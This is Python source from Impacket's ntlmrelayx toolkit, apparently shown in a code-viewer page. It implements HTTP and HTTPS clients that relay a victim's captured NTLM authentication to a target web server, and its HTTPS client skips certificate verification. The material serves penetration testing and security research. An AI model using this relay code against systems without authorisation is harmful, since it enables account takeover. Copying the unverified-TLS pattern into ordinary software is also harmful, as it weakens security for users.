Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

# 

# This software is provided under under a slightly modified version 

# of the Apache Software License. See the accompanying LICENSE file 

# for more information. 

# 

# HTTP Protocol Client 

# 

# Author: 

# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

# Alberto Solino (@agsolino) 

# 

# Description: 

# HTTP(s) client for relaying NTLMSSP authentication to webservers 

# 

import re 

import ssl 

try: 

from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady 

except ImportError: 

from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady 

import base64 

 

from struct import unpack 

from impacket import LOG 

from impacket.examples.ntlmrelayx.clients import ProtocolClient 

from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

from impacket.ntlm import NTLMAuthChallenge 

from impacket.spnego import SPNEGO_NegTokenResp 

 

PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"] 

 

class HTTPRelayClient(ProtocolClient): 

PLUGIN_NAME = "HTTP" 

 

def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ): 

ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

self.extendedSecurity = extendedSecurity 

self.negotiateMessage = None 

self.authenticateMessageBlob = None 

self.server = None 

 

def initConnection(self): 

self.session = HTTPConnection(self.targetHost,self.targetPort) 

self.lastresult = None 

if self.target.path == '': 

self.path = '/' 

else: 

self.path = self.target.path 

return True 

 

def sendNegotiate(self,negotiateMessage): 

#Check if server wants auth 

self.session.request('GET', self.path) 

res = self.session.getresponse() 

res.read() 

if res.status != 401: 

LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) 

try: 

if 'NTLM' not in res.getheader('WWW-Authenticate'): 

LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) 

return False 

except (KeyError, TypeError): 

LOG.error('No authentication requested by the server for url %s' % self.targetHost) 

return False 

 

#Negotiate auth 

negotiate = base64.b64encode(negotiateMessage) 

headers = {'Authorization':'NTLM %s' % negotiate} 

self.session.request('GET', self.path ,headers=headers) 

res = self.session.getresponse() 

res.read() 

try: 

serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) 

serverChallenge = base64.b64decode(serverChallengeBase64) 

challenge = NTLMAuthChallenge() 

challenge.fromString(serverChallenge) 

return challenge 

except (IndexError, KeyError, AttributeError): 

LOG.error('No NTLM challenge returned from server') 

 

def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

token = respToken2['ResponseToken'] 

else: 

token = authenticateMessageBlob 

auth = base64.b64encode(token) 

headers = {'Authorization':'NTLM %s' % auth} 

self.session.request('GET', self.path,headers=headers) 

res = self.session.getresponse() 

if res.status == 401: 

return None, STATUS_ACCESS_DENIED 

else: 

LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status) 

#Cache this 

self.lastresult = res.read() 

return None, STATUS_SUCCESS 

 

def killConnection(self): 

if self.session is not None: 

self.session.close() 

self.session = None 

 

def keepAlive(self): 

# Do a HEAD for favicon.ico 

self.session.request('HEAD','/favicon.ico') 

self.session.getresponse() 

 

class HTTPSRelayClient(HTTPRelayClient): 

PLUGIN_NAME = "HTTPS" 

 

def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ): 

HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

 

def initConnection(self): 

self.lastresult = None 

if self.target.path == '': 

self.path = '/' 

else: 

self.path = self.target.path 

try: 

uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 

self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context) 

except AttributeError: 

self.session = HTTPSConnection(self.targetHost,self.targetPort) 

return True